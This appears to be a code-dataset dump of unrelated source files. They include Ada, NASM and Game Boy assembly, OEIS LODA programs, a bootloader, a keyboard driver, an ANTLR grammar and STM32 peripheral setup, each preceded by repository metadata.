procedure Parse (P1 : Positive) is
begin
Lock;
delay 0.01;
if P1 mod 2 = 0 then
Lock;
delay 0.01;
Unlock;
end if;
Unlock;
end Parse;
---------------
-- Secondary --
---------------
task body Secondary is
begin
accept Start;
for K in 1 .. 20 loop
Parse (K);
end loop;
raise Constraint_Error;
exception
when Program_Error =>
null;
end Secondary;
TS : array (1 .. 2) of Secondary;
begin
Parse (1);
for J in TS'Range loop
TS (J).Start;
end loop;
end Curr_Task;
|
oeis/159/A159498.asm | neoneye/loda-programs | 11 | 8333 | ; A159498: Numerator of Hermite(n, 6/13).
; Submitted by <NAME>
; 1,12,-194,-10440,71436,14972112,58938504,-29656181088,-495322673520,74246441579712,2397728871804384,-222180226077773952,-11580918658301987136,762191973071827303680,60032860261440859119744,-2886298093438596491576832,-339002178646768313636024064,11541073945554710062815218688,2086399405850987250906376896000,-45179101014543009011291267745792,-13941006196549556233456247639061504,138118648499716066114853998292815872,100610685765105342938450693721572345856,180277958937375447631353993353489326080
add $0,1
mov $3,1
lpb $0
sub $0,1
add $2,$3
mov $3,$1
mov $1,$2
mul $2,12
mul $3,-338
mul $3,$0
lpe
mov $0,$1
|
pillar2c/src/pillar2c.nasm | IntelLabs/IFLC-LIB | 21 | 102100 | ;;; Redistribution and use in source and binary forms, with or without modification, are permitted
;;; provided that the following conditions are met:
;;; 1. Redistributions of source code must retain the above copyright notice, this list of
;;; conditions and the following disclaimer.
;;; 2. Redistributions in binary form must reproduce the above copyright notice, this list of
;;; conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
;;; THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING,
;;; BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
;;; ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
;;; EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
;;; OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
;;; OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
;;; IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
%ifndef __x86_64__
SECTION .text
%define REGISTER_SIZE 4
; // A stub prologue that sets up an ebp-based frame and saves ebx, esi, edi.
%macro fullStubProlog 0
push ebp
mov ebp, esp
push ebx
push esi
push edi
%endmacro
; // Inverse of fullStubProlog
%macro fullStubEpilog 0
pop edi
pop esi
pop ebx
pop ebp
%endmacro
%macro copyArgs 2
mov ebx, [ ebp + %2 ]
shl ebx, 2
sub esp, ebx
cld
mov ecx, dword [ ebp + %2 ]
mov esi, dword [ ebp + %1 ]
mov edi, esp
rep movsd
%endmacro
; =========================================================================
extern prtInvokeUnmanagedFunc
extern prtGetTaskHandle
extern prtYieldUnmanaged
extern longjmp
extern free
common gc_heap_slot_write_barrier_indirect 4
common gc_heap_slot_write_interior_indirect 4
%ifndef NO_INLINE_WRITE_BARRIER
common g_tls_offset_bytes 4
common local_nursery_size 4
%endif
; =========================================================================
global pillar2cInvokeUnmanagedFunc
global pillar2cInvokeUnmanagedStart
global pillar2cInvokeUnmanagedDestructor
;global pillar2cInvokeUnmanagedFunc_0
;global pillar2cInvokeUnmanagedFunc_1
;global pillar2cInvokeUnmanagedFunc_2
;global pillar2cInvokeUnmanagedFunc_3
;global pillar2cInvokeUnmanagedFunc_4
;global pillar2cInvokeUnmanagedFunc_5
;global pillar2cInvokeUnmanagedFunc_6
;global pillar2cInvokeUnmanagedFunc_7
;global pillar2cInvokeUnmanagedFunc_8
;global pillar2cInvokeUnmanagedFunc_9
;global pillar2cInvokeUnmanagedFunc_10
;global pillar2cInvokeUnmanagedFunc_11
%define _taskHandle$ REGISTER_SIZE + REGISTER_SIZE
%define _prevPseudoFrame$ _taskHandle$ + REGISTER_SIZE
%define _unmanagedFunc$ _prevPseudoFrame$ + REGISTER_SIZE
%define _argStart$ _unmanagedFunc$ + REGISTER_SIZE
%define _argSize$ _argStart$ + REGISTER_SIZE
%define _callingConvention$ _argSize$ + REGISTER_SIZE
;pillar2cInvokeUnmanagedFunc_0:
;pillar2cInvokeUnmanagedFunc_1:
;pillar2cInvokeUnmanagedFunc_2:
;pillar2cInvokeUnmanagedFunc_3:
;pillar2cInvokeUnmanagedFunc_4:
;pillar2cInvokeUnmanagedFunc_5:
;pillar2cInvokeUnmanagedFunc_6:
;pillar2cInvokeUnmanagedFunc_7:
;pillar2cInvokeUnmanagedFunc_8:
;pillar2cInvokeUnmanagedFunc_9:
;pillar2cInvokeUnmanagedFunc_10:
;pillar2cInvokeUnmanagedFunc_11:
pillar2cInvokeUnmanagedFunc:
pillar2cInvokeUnmanagedStart:
push ebx
; // task handle into ebx
mov ebx, dword [esp+8]
; // call Pillar runtime function
push dword [esp+28]
push dword [esp+28]
push dword [esp+28]
push dword [esp+28]
call prtInvokeUnmanagedFunc
pop ebx
ret 24
pillar2cInvokeUnmanagedDestructor:
; =========================================================================
global pillar2cYield
global pillar2cYieldStart
global pillar2cYieldDestructor
%define _taskHandle$ REGISTER_SIZE + REGISTER_SIZE
%define _prevPseudoFrame$ _taskHandle$ + REGISTER_SIZE
pillar2cYield:
pillar2cYieldStart:
push ebx
; // task handle into ebx
mov ebx, dword [esp+8]
; // call Pillar runtime function
push 0
push 0
push 0
push prtYieldUnmanaged
call prtInvokeUnmanagedFunc
pop ebx
ret 8
pillar2cYieldDestructor:
; =========================================================================
global pillar2c_pcall_target
global pillar2c_pcall_target_start
global pillar2c_pcall_target_end
%define _managedFunc$ REGISTER_SIZE + REGISTER_SIZE
%define _argStart$ _managedFunc$ + REGISTER_SIZE
%define _argSize$ _argStart$ + REGISTER_SIZE
pillar2c_pcall_target:
pillar2c_pcall_target_start:
fullStubProlog
copyArgs _argStart$ , _argSize$
push dword [ebp + _argStart$]
call free
add esp, 4
push 0 ; // a NULL to root the pseudo-frame stack
call prtGetTaskHandle
push eax
; // task handle is the first arg to all managed methods
call dword [ebp + _managedFunc$] ; // managedFunc should remove all the args
fullStubEpilog
ret 12
pillar2c_pcall_target_end:
; =========================================================================
global _pillar2c_continuation_target
_pillar2c_continuation_target:
add edx, 8
push 1
push edx
call longjmp
; =========================================================================
%else ; // __x86_64__
; =========================================================================
%define REGISTER_SIZE 8
; =========================================================================
extern prtInvokeUnmanagedFunc
extern prtGetTaskHandle
extern prtYieldUnmanaged
extern longjmp
extern free
common gc_heap_slot_write_barrier_indirect 4
common gc_heap_slot_write_interior_indirect 4
%ifndef NO_INLINE_WRITE_BARRIER
common g_tls_offset_bytes 4
common local_nursery_size 4
%endif
; =========================================================================
global pillar2cInvokeUnmanagedFunc
global pillar2cInvokeUnmanagedStart
global pillar2cInvokeUnmanagedDestructor
global pillar2cInvokeUnmanagedFunc_0
global pillar2cInvokeUnmanagedFunc_1
global pillar2cInvokeUnmanagedFunc_2
global pillar2cInvokeUnmanagedFunc_3
global pillar2cInvokeUnmanagedFunc_4
global pillar2cInvokeUnmanagedFunc_5
global pillar2cInvokeUnmanagedFunc_6
global pillar2cInvokeUnmanagedFunc_7
global pillar2cInvokeUnmanagedFunc_8
global pillar2cInvokeUnmanagedFunc_9
global pillar2cInvokeUnmanagedFunc_10
global pillar2cInvokeUnmanagedFunc_11
%define _taskHandle$ rdi
%define _prevPseudoFrame$ rsi
%define _unmanagedFunc$ rdx
%define _argStart$ rcx
%define _argSize$ r8
%define _callingConvention$ r9
pillar2cInvokeUnmanagedFunc_0:
pillar2cInvokeUnmanagedFunc_1:
pillar2cInvokeUnmanagedFunc_2:
pillar2cInvokeUnmanagedFunc_3:
pillar2cInvokeUnmanagedFunc_4:
pillar2cInvokeUnmanagedFunc_5:
pillar2cInvokeUnmanagedFunc_6:
pillar2cInvokeUnmanagedFunc_7:
pillar2cInvokeUnmanagedFunc_8:
pillar2cInvokeUnmanagedFunc_9:
pillar2cInvokeUnmanagedFunc_10:
pillar2cInvokeUnmanagedFunc_11:
pillar2cInvokeUnmanagedFunc:
pillar2cInvokeUnmanagedStart:
push rbx
push _prevPseudoFrame$
sub rsp, 8
; // task handle into rbx
mov rbx, _taskHandle$
mov rdi, _unmanagedFunc$
mov rsi, _argStart$
mov rdx, _argSize$
mov rcx, _callingConvention$
call prtInvokeUnmanagedFunc
add rsp, 16
pop rbx
ret
pillar2cInvokeUnmanagedDestructor:
; =========================================================================
global pillar2cYield
global pillar2cYieldStart
global pillar2cYieldDestructor
%define _taskHandleStack$ REGISTER_SIZE + REGISTER_SIZE
%define _prevPseudoFrameStack$ _taskHandleStack$ + REGISTER_SIZE
%define _taskHandle$ rcx
%define _prevPseudoFrame$ rdx
pillar2cYield:
pillar2cYieldStart:
push rbx
push _prevPseudoFrame$
sub rsp, 8
; // task handle into rbx
mov rbx, _taskHandle$
mov rdi, prtYieldUnmanaged
mov rsi, 0
mov rdx, 0
mov rcx, 0
call prtInvokeUnmanagedFunc
add rsp, 16
pop rbx
ret
pillar2cYieldDestructor:
; =========================================================================
global pillar2c_pcall_target
global pillar2c_pcall_target_start
global pillar2c_pcall_target_end
%define _managedFunc$ rdi
%define _argStart$ rsi
%define _argSize$ rdx
pillar2c_pcall_target:
pillar2c_pcall_target_start:
push rbp
mov rbp, rsp
push rbx
push r12
push r13
push r14
push r15
mov r12, _managedFunc$ ; // save function to call in r15
mov r13, _argStart$
mov r14, _argSize$
call prtGetTaskHandle
mov rbx, rax
mov r10, r12
mov r11, r13
mov r12, r14
mov r13, r12 ;; // r13 = number of 8-byte params
shl r13, 3 ;; // r13 = size of params in bytes
mov r14, rsp ;; // r14 = current stack pointer
sub r14, r13 ;; // r14 = minimum required stack space
mov rax, 0FFffFFffFFffFFf0h ;; // and then and'ing by 16 for alignment
and r14, rax ;; // and then and'ing by 16 for alignment
mov r13, rsp ;; // calculate how much space we actually need with alignment
sub r13, r14 ;; // r13 = how much extra stack space we need
sub rsp, r13 ;; // adjust rsp by that amount
;; // copy the stack arguments to the next stack location starting at esp.
cld
mov rcx, r12 ;; // arg size
mov rsi, r11 ;; // arg start
mov rdi, rsp ;; // place to copy
;; // rep movsd copies "rcx" dwords from [rsi] to [rdi]. cld means rsi and rdi are incremented after each copy.
rep movsq
; // MOVE ARGS INTO REGISTERS? BUT WE DON'T HAVE TYPE INFORMATION!!!
mov rdx, qword [rsp+0]
movq xmm2, rdx
mov rcx, qword [rsp+8]
movq xmm3, rcx
mov r8, qword [rsp+16]
movq xmm4, r8
mov r9, qword [rsp+24]
movq xmm5, r9
mov r11, r13 ;; // r11 = space subtracted from stack
mov r12, r13 ; 8, 16, 56, 64 ;; // r12 = space subtracted from stack
mov r15, r13 ; 8, 16, 56, 64 ;; // r15 = space subtracted from stack
and r13, rax ; 0, 16, 48, 64 ;; // r13 = space subtracted on 16-byte align
not rax ;; // invert mask to get the remainder
and r15, rax ; 8, 0, 8, 0 ;; // r15 = 0 if stack space was 16-byte aligned, 8 otherwise
sub r13, 32 ; -, -, 0, 16 ;; // see if all arguments can be passed in regs (4 regs * 8 bytes = 32)
mov r14, r13 ;; // r14 = amount of stack space used greater than max reg args
sar r14, 63 ;; // make r14 either all 'F' or all '0' depending on sign of r13
not r14 ; 0, 0, 1, 1 ;; // r14 = 0 if r13 is negative, all '1' otherwise
and r13, r14 ; 0, 0, 0, 16 ;; // r13 = 0 if registers enough for args, else amount of args on stack
add r13, r15 ; 8, 0, 8, 16 ;; // r13 = amount of stack to keep adjusted for alignment
sub r12, r13 ; 0, 16, 48, 48 ;; // r12 = amount to add to rsp to "pop" the args that go in regs
add rsp, r12 ;; // pop
sub r11, r12 ;; // r11 = amount we need to add to rsp after the call is complete
mov r12, r11 ;; // r12 = save this amount in the callee-saved register r12
mov rsi, 0 ; // previous pseudo frame is NULL
mov rdi, rbx ; // task handle is first param
call r10 ; // managedFunc should remove all the args
add rsp, r12
pop r15
pop r14
pop r13
pop r12
pop rbx
pop rbp
ret
pillar2c_pcall_target_end:
; =========================================================================
global _pillar2c_continuation_target
_pillar2c_continuation_target:
mov r10, rdx ; // the continuation is passed in rdx
add r10, 2*REGISTER_SIZE ; // r10 now points to the jmp_buf (3rd part) of the continuation
mov rax, 0FFffFFffFFffFFf0h ; // align the stack
and rsp, rax ; // align the stack
mov rsi, 1 ; // value (2nd arg) to longjmp
mov rdi, r10 ; // jmp_buf (1st arg) to longjmp
call longjmp ; // call longjmp
; =========================================================================
global _pillar2c_get_next_rip_addr
_pillar2c_get_next_rip_addr:
mov rax, rsp
ret
%endif ; // __x86_64__
|
boot/legacy/BootloaderOne16.asm | AstralVX/AstralOS | 0 | 172672 | ; Tell NASM this is 16 bit (8086) code for real mode
bits 16
%include "Config.asm"
; Tell NASM to output all our labels with offset 0x7c00, because
; BIOS will jump to this boot sector 0x7c00 and transfers control
org 0x7c00
jmp 0x0000:main
;
; BIOS will load this 512 byte boot sector from the storage MBR into memory
;
main:
;
; Initialise essential segment registers
;
xor ax, ax
mov ds, ax
mov es, ax
;
; Setup a stack range at from 0x6000 to 0x7000, stack will grow downwards
; Since our bootloader is loaded at 0x7C00, we have almost 30KiB below free
; Disable interrupts to update ss:sp atomically (only required for <= 286 (8088)), then re-enable
; N.b. interrupts are disabled for 1 inst after mov ss, ...
;
cli
mov ax, 0x6000
mov ss, ax
mov sp, 0x7000
sti
mov ax, 0x3
int 0x10 ; Set VGA screen mode to 3 (text 80x25)
call PrintBanner
mov si, szStartedBootloaderRM
call PrintStrInt
mov si, szReadingDisk
call PrintTransitionMessage
; Read bootloader stage 2 into mem
mov al, 4 ; Read 4 sectors (or 4*0x200=2048 bytes)
mov ch, 0 ; Cylinder 0
mov cl, 2 ; Sector number 2 (0x200 to 0x400)
mov dh, 0 ; Head number 0
mov dl, DRIVE ; Drive number (QEMU index)
mov bx, BOOTLOADER_SECOND_STAGE_ADDR ; ES:BX memory addr to load into (we'll put it after bootloader in mem)
call DiskIntReadSectors
jmp 0x0000:BOOTLOADER_SECOND_STAGE_ADDR
cli ; Stop interrupts
hlt ; Stop CPU until next interrupt (hence CPU stopped)
PrintBanner:
mov cl, 80
call PrintDashedLine
mov cl, 29
call PrintDashedLine
mov si, szBanner ; Arg 1 - Move memory location of banner string into register SI
mov bl, 0x1F ; Arg 2 - Colour style
call PrintStrColourInt ; Coloured print interrupt (SI = string, BL = colour)
mov cl, 30
call PrintDashedLine
mov cl, 80
call PrintDashedLine
mov si, szNewLineCarriageRet
call PrintStrInt
ret
;
; Other file includes
;
%include "Print16.asm"
%include "Disk16.asm"
;
; Consts
;
szBanner: db " Astral - Bootloader ", 0
szStartedBootloaderRM: db "Stage 1 - started in Real Mode (16 bit), TTY", 13, 10, 0
szReadingDisk: db "Reading disk to find Stage 2", 13, 10, 0
times 510 - ($-$$) db 0 ; Pad remaining 510 bytes with zeroes
dw 0xaa55 ; Bootloader magic value footer - marks this 512 byte sector bootable
|
player.asm | JoshuaKlassen/LocalHackday2017 | 0 | 97431 | SECTION "Player", ROM0
PLAYER_INIT::
ld a, $20
ld [player_y], a
ret
PLAYER_UPDATE::
ld hl, player_y
ld a, [hl]
inc a
ld [hl], a
call PLAYER_OAM
ret
PLAYER_OAM:
ld hl, player_sprite
ld a, [player_y]
ld [hl], a
inc hl
ld [hl], $30
inc hl
ld [hl], $19
inc hl
ld [hl], 0
ret
|
programs/oeis/133/A133263.asm | neoneye/loda | 22 | 240156 | <filename>programs/oeis/133/A133263.asm<gh_stars>10-100
; A133263: Binomial transform of (1, 2, 0, 1, -1, 1, -1, 1, ...).
; 1,3,5,8,12,17,23,30,38,47,57,68,80,93,107,122,138,155,173,192,212,233,255,278,302,327,353,380,408,437,467,498,530,563,597,632,668,705,743,782,822,863,905,948,992,1037,1083,1130,1178,1227,1277,1328,1380,1433,1487,1542,1598,1655,1713,1772,1832,1893,1955,2018,2082,2147,2213,2280,2348,2417,2487,2558,2630,2703,2777,2852,2928,3005,3083,3162,3242,3323,3405,3488,3572,3657,3743,3830,3918,4007,4097,4188,4280,4373,4467,4562,4658,4755,4853,4952
mov $1,$0
trn $0,1
bin $0,2
mul $1,2
add $1,1
add $1,$0
mov $0,$1
|
bbs-info.ads | BrentSeidel/BBS-Ada | 1 | 2673 | package BBS.info is
pragma Pure;
--
-- This file is auto generated by the build script. It should not
-- be edited by hand.
--
name : constant String := "Tiny Lisp";
timestamp : constant String := "Fri Sep 3 09:03:26 MST 2021";
build_date : constant String := "2021-Sep-03";
version_string : constant String := "V01.01";
version_date : constant Integer := 20210903; -- yyyymmdd
version_number : constant Integer := 2;
end;
|
smartanalytics-categorization/src/main/resources/de/adorsys/smartanalytics/rule/syntax/Expression.g4 | HryhoriiHevorkian/smartanalytics | 1 | 4629 | grammar Expression;
expression: statement | expression operator expression | '(' expression ')' | 'NOT' expression;
statement: attribute comparator value;
attribute: 'RFN' | 'GID' | 'VWZ' | 'IBAN' | 'KTO' | 'BLZ' | 'AMOUNT' | 'HKAT' | 'UKAT' | 'SPEZ';
comparator: 'NOT LIKE' | 'LIKE' | '=' | '>' | '<' | '=>' | '<=';
operator: 'AND' | 'OR';
value : STRING | INT;
STRING: '\'' (LETTER | INT | SPECIAL_CHAR | ' ' )+ '\'';
INT : [0-9]+;
LETTER: [A-Z];
SPECIAL_CHAR: [+,./_&*%-];
WS: [ \t\r\n]+ -> skip ;
|
src/dev/kbd.asm | programble/happy | 1 | 178172 | global kbd.init, kbd.poll, kbd.reset
global kbd.readCode, kbd.readChar, kbd.readLine
global kbd.printBuffers
extern idt.setGate, pic.unmask, pic.eoiMaster, core.halt
extern text.writeChar, text.writeNl, diag.printMem
extern qwerty.map, qwerty.map.shift, qwerty.map.ctrl
%include "core.mac"
Port:
.DATA: equ 60h
.COMMAND: equ 64h
Status:
.OUTPUT: equ 0000_0001b
.INPUT: equ 0000_0010b
.SYSTEM: equ 0000_0100b
.COMMAND: equ 0000_1000b
.TIMEOUT: equ 0100_0000b
.PARITY: equ 1000_0000b
Command:
.RESET: equ 0FEh
ScanCode:
.SHIFT_LEFT: equ 2Ah
.SHIFT_RIGHT: equ 36h
.CTRL_LEFT: equ 1Dh
.ALT_LEFT: equ 38h
.F1: equ 3Bh
Modifier:
.SHIFT_LEFT: equ 0000_0001b
.SHIFT_RIGHT: equ 0000_0010b
.SHIFT: equ 0000_0011b
.CTRL_LEFT: equ 0000_0100b
.CTRL_RIGHT: equ 0000_1000b
.CTRL: equ 0000_1100b
.ALT_LEFT: equ 0001_0000b
.ALT_RIGHT: equ 0010_0000b
.ALT: equ 0011_0000b
section .bss
kbd.buffer: resb 40h
.#: equ $ - kbd.buffer
kbd.line: resb 100h
.$:
section .data
kbd.bufRead: dd kbd.buffer
kbd.bufWrite: dd kbd.buffer + 1
kbd.modifier: db 0
section .text
kbd.init: ; : : eax edx
mov eax, 21h
mov edx, kbd.interrupt
call idt.setGate
mov eax, 0000_0000_0000_0010b
call pic.unmask
ret
kbd.poll: ; : al : ax
in al, Port.DATA
mov ah, al
.loop:
in al, Port.DATA
cmp al, ah
je .loop
ret
kbd.reset: ; : : *
in al, Port.COMMAND
test al, Status.INPUT
jnz kbd.reset
mov al, Command.RESET
out Port.COMMAND, al
jmp core.halt
kbd.interrupt: ; : :
pushad
in al, Port.DATA
cmp al, ScanCode.F1
_panicc e, 'manual panic'
mov edi, [kbd.bufWrite]
cmp edi, [kbd.bufRead]
je .ret
stosb
sub edi, kbd.buffer
and edi, kbd.buffer.# - 1
add edi, kbd.buffer
mov [kbd.bufWrite], edi
.ret:
call pic.eoiMaster
popad
iret
kbd.readCode: ; : al(code) : eax
mov eax, [kbd.bufRead]
sub eax, kbd.buffer - 1
and eax, kbd.buffer.# - 1
add eax, kbd.buffer
.waitWhile:
cmp eax, [kbd.bufWrite]
jne .waitBreak
hlt
jmp .waitWhile
.waitBreak:
mov [kbd.bufRead], eax
mov al, [eax]
mov ah, al
and ah, 0111_1111b
%macro _modifier 1
cmp ah, ScanCode.%1
jne %%modifierElse
mov ah, Modifier.%1
jmp .setModifier
%%modifierElse:
%endmacro
_modifier SHIFT_LEFT
_modifier SHIFT_RIGHT
_modifier CTRL_LEFT
_modifier ALT_LEFT
ret
.setModifier:
test al, al
js .unsetModifier
or [kbd.modifier], ah
ret
.unsetModifier:
not ah
and [kbd.modifier], ah
ret
kbd.readChar: ; : al(char) : eax
call kbd.readCode
test al, al
js kbd.readChar
movzx eax, al
test byte [kbd.modifier], Modifier.CTRL
jz .ctrlElse
mov al, [qwerty.map.ctrl + eax]
jmp .ret
.ctrlElse:
test byte [kbd.modifier], Modifier.SHIFT
jz .shiftElse
mov al, [qwerty.map.shift + eax]
jmp .ret
.shiftElse:
mov al, [qwerty.map + eax]
.ret:
test al, al
js kbd.readChar
ret
kbd.readLine: ; : ecx(lineLen) esi(line) : eax edx edi
xor ecx, ecx
mov edi, kbd.line
.while:
call kbd.readChar
cmp al, `\n`
je .break
cmp al, `\b`
jne .stos
cmp edi, kbd.line
je .while
dec edi
dec ecx
jmp .write
.stos:
stosb
inc ecx
.write:
_push ecx, edi
call text.writeChar
_rpop ecx, edi
cmp edi, kbd.line.$
jb .while
.break:
push ecx
call text.writeNl
pop ecx
mov esi, kbd.line
ret
kbd.printBuffers: ; : : ax ecx(0) edx esi edi
mov esi, kbd.buffer
mov ecx, kbd.buffer.# / 4
call diag.printMem
call text.writeNl
mov esi, kbd.line
mov ecx, (kbd.line.$ - kbd.line) / 4
jmp diag.printMem
|
oeis/348/A348646.asm | neoneye/loda-programs | 11 | 85034 | ; A348646: a(n) = (72*n + 5)*(1296*n^2 + 153*n + 4).
; Submitted by <NAME>(s3)
; 20,111881,818606,2680067,6256136,12106685,20791586,32870711,48903932,69451121,95072150,126326891,163775216,207976997,259492106,318880415,386701796,463516121,549883262,646363091,753515480,871900301,1002077426,1144606727,1300048076,1468961345,1651906406
mul $0,12
add $0,1
mul $0,4
bin $0,3
div $0,16
mul $0,81
add $0,20
|
picovm/asm-src/hello-world-linux64.asm | seanmcelroy/picovm | 0 | 246995 | <reponame>seanmcelroy/picovm
section .data
hello_world db "Hello world!", 10
hello_world_len equ $ - hello_world
section .text
global _start
_start:
mov rax, 1
mov rdi, 1
mov rsi, hello_world
mov rdx, hello_world_len
syscall
mov rax, 60
mov rdi, 0
syscall |
LagTest/ram.asm | neogeodev/NGAcidTests | 6 | 84300 | <reponame>neogeodev/NGAcidTests
ORG RAMSTART
FLAG_VBI: ds.b 1
FLAG_UPDATE: ds.b 1
FRAMES: ds.b 1
LAG_LINES: ds.w 1
LAG_LATCH: ds.w 1
LAG_SIGN: ds.b 1
COUNT: ds.b 1
DIRECTION: ds.b 1
VRAM_BUFFER: ds.w 16
PREV_INPUT: ds.b 1
ACTIVE_INPUT: ds.b 1
SOUND_CODE: ds.b 1
|
src/main/fragment/mos6502-common/_stackpushsword_=vbsc1.asm | jbrandwood/kickc | 2 | 172842 | lda #0
pha
lda #<{c1}
pha
|
src/q_csv-q_read_file.adb | jfuica/bingada | 4 | 26041 | <reponame>jfuica/bingada
--*****************************************************************************
--*
--* PROJECT: BingAda
--*
--* FILE: q_csv-q_read_file.adb
--*
--* AUTHOR: <NAME>
--*
--*****************************************************************************
with Ada.Exceptions;
with Text_Io;
package body Q_Csv.Q_Read_File is
--==================================================================
V_File : Text_Io.File_Type;
--==================================================================
procedure P_Read_Cards_In_Vector (V_File : Text_Io.File_Type;
V_Cards : in out Q_Bingo_Cards.Vector) is
V_Row : T_Row := F_Line (Text_Io.Get_Line (V_File));
V_First_Col : Boolean;
V_Numbers : T_Numbers;
V_Index : Positive := 1;
V_Card_Name : T_Name;
begin
V_First_Col := V_Row.F_Next;
V_Card_Name := V_Row.F_Item (T_Name'Range);
while V_Row.F_Next loop
V_Numbers (V_Index) := Q_Bingo.T_Number'Value (V_Row.F_Item);
V_Index := V_Index + 1;
end loop;
V_Cards.Append ((R_Name => V_Card_Name,
R_Numbers => V_Numbers));
end P_Read_Cards_In_Vector;
--==================================================================
procedure P_Read_Bingo_Cards
(V_File_Name : String;
V_Cards : out Q_Bingo_Cards.Vector) is
begin
Text_Io.Open (File => V_File,
Mode => Text_Io.In_File,
Name => V_File_Name);
if Text_Io.Is_Open (V_File) then
-- skip header
--
Text_Io.Skip_Line (V_File);
while not Text_Io.End_Of_File (V_File) loop
P_Read_Cards_In_Vector (V_File => V_File,
V_Cards => V_Cards);
end loop;
end if;
Text_Io.Close (V_File);
exception
when V_Exception : others =>
-- No exception is raised because if the csv file is not correctly read
-- the bingada can continue without cards to check.
--
Text_Io.Close (V_File);
Text_Io.Put_Line
("exception : " & Ada.Exceptions.Exception_Information (V_Exception));
end P_Read_Bingo_Cards;
--==================================================================
end Q_Csv.Q_Read_File;
|
source/slim-players-play_radio_visiters.adb | reznikmm/slimp | 0 | 22045 | <reponame>reznikmm/slimp<gh_stars>0
-- Copyright (c) 2019 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-- License-Filename: LICENSE
-------------------------------------------------------------
with Ada.Calendar;
with Ada.Text_IO;
with League.String_Vectors;
with Slim.Messages.cont;
-- with Slim.Players.Displays;
package body Slim.Players.Play_Radio_Visiters is
----------
-- DSCO --
----------
overriding procedure DSCO
(Self : in out Visiter;
Message : not null access Slim.Messages.DSCO.DSCO_Message)
is
pragma Unreferenced (Message);
use type Ada.Calendar.Time;
Player : Players.Player renames Self.Player.all;
begin
-- got disconnection on the data channel
Player.State := (Idle, Ada.Calendar.Clock - 60.0, Player.First_Menu);
end DSCO;
----------
-- META --
----------
overriding procedure META
(Self : in out Visiter;
Message : not null access Slim.Messages.META.META_Message)
is
Player : Players.Player renames Self.Player.all;
Text : League.Strings.Universal_String := Message.Value;
Prefix : constant Wide_Wide_String := "StreamTitle='";
Suffix : constant Wide_Wide_String := "';";
begin
if Text.Starts_With (Prefix) then
Text := Text.Tail_From (Prefix'Length + 1);
end if;
if Text.Ends_With (Suffix) then
Text := Text.Head_To (Text.Length - Suffix'Length);
end if;
Player.State.Play_State.Current_Song := Text;
Slim.Players.Common_Play_Visiters.Update_Display (Player);
end META;
----------
-- RESP --
----------
overriding procedure RESP
(Self : in out Visiter;
Message : not null access Slim.Messages.RESP.RESP_Message)
is
List : constant League.String_Vectors.Universal_String_Vector :=
Message.Headers;
Player : Players.Player renames Self.Player.all;
Line : League.Strings.Universal_String;
Metaint_Header : constant Wide_Wide_String := "icy-metaint:";
Metaint : Natural := 0;
Cont : Slim.Messages.cont.Cont_Message;
begin
for J in 1 .. List.Length loop
Line := List.Element (J);
if Line.Starts_With (Metaint_Header) then
Line := Line.Tail_From (Metaint_Header'Length + 1);
begin
Metaint :=
Natural'Wide_Wide_Value (Line.To_Wide_Wide_String);
exception
when Constraint_Error =>
null;
end;
exit;
end if;
end loop;
Cont.Set_Metaint (Metaint);
Write_Message (Player.Socket, Cont);
end RESP;
----------
-- STAT --
----------
overriding procedure STAT
(Self : in out Visiter;
Message : not null access Slim.Messages.STAT.STAT_Message)
is
Player : Players.Player renames Self.Player.all;
begin
Player.WiFi := Message.WiFi_Level;
if Message.Event (1 .. 3) /= "STM" then
return;
elsif not Player.State.Play_State.Current_Song.Is_Empty then
null;
elsif Message.Event = "STMc" then
Player.State.Play_State.Current_Song.Clear;
Player.State.Play_State.Current_Song.Append ("Connecting...");
elsif Message.Event = "STMe" then
Player.State.Play_State.Current_Song.Clear;
Player.State.Play_State.Current_Song.Append ("Connected");
end if;
Slim.Players.Common_Play_Visiters.Update_Display (Player);
if Message.Event /= "STMt" then
Ada.Text_IO.Put_Line (Message.Event);
end if;
end STAT;
end Slim.Players.Play_Radio_Visiters;
|
examples/stm32f0/rfm69_moter/modem/peripherals.adb | ekoeppen/STM32_Generic_Ada_Drivers | 1 | 6598 | <filename>examples/stm32f0/rfm69_moter/modem/peripherals.adb
with STM32_SVD; use STM32_SVD;
with STM32_SVD.RCC; use STM32_SVD.RCC;
with STM32_SVD.DMA; use STM32_SVD.DMA;
with STM32_SVD.USART; use STM32_SVD.USART;
with STM32GD.Board; use STM32GD.Board;
package body Peripherals is
procedure Init is
begin
RCC.RCC_Periph.APB2ENR.USART1EN := 1;
RCC.RCC_Periph.APB2ENR.SPI1EN := 1;
RCC.RCC_Periph.AHBENR.DMAEN := 1;
RFM69_RESET.Init;
RFM69_RESET.Clear;
CSN.Init;
CSN.Set;
SCLK.Init;
MISO.Init;
MOSI.Init;
IRQ.Init;
SPI.Init;
Radio.Init;
RX.Init;
TX.Init;
STM32GD.Board.USART.Init;
USART1_Periph.CR1.RXNEIE := 1;
end Init;
end Peripherals;
|
Validation/pyFrame3DD-master/gcc-master/gcc/ada/libgnat/g-rewdat.adb | djamal2727/Main-Bearing-Analytical-Model | 0 | 26627 | -----------------------------------------------------------------------------
-- GNAT COMPILER COMPONENTS --
-- --
-- G N A T . R E W R I T E _ D A T A --
-- --
-- B o d y --
-- --
-- Copyright (C) 2014-2020, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
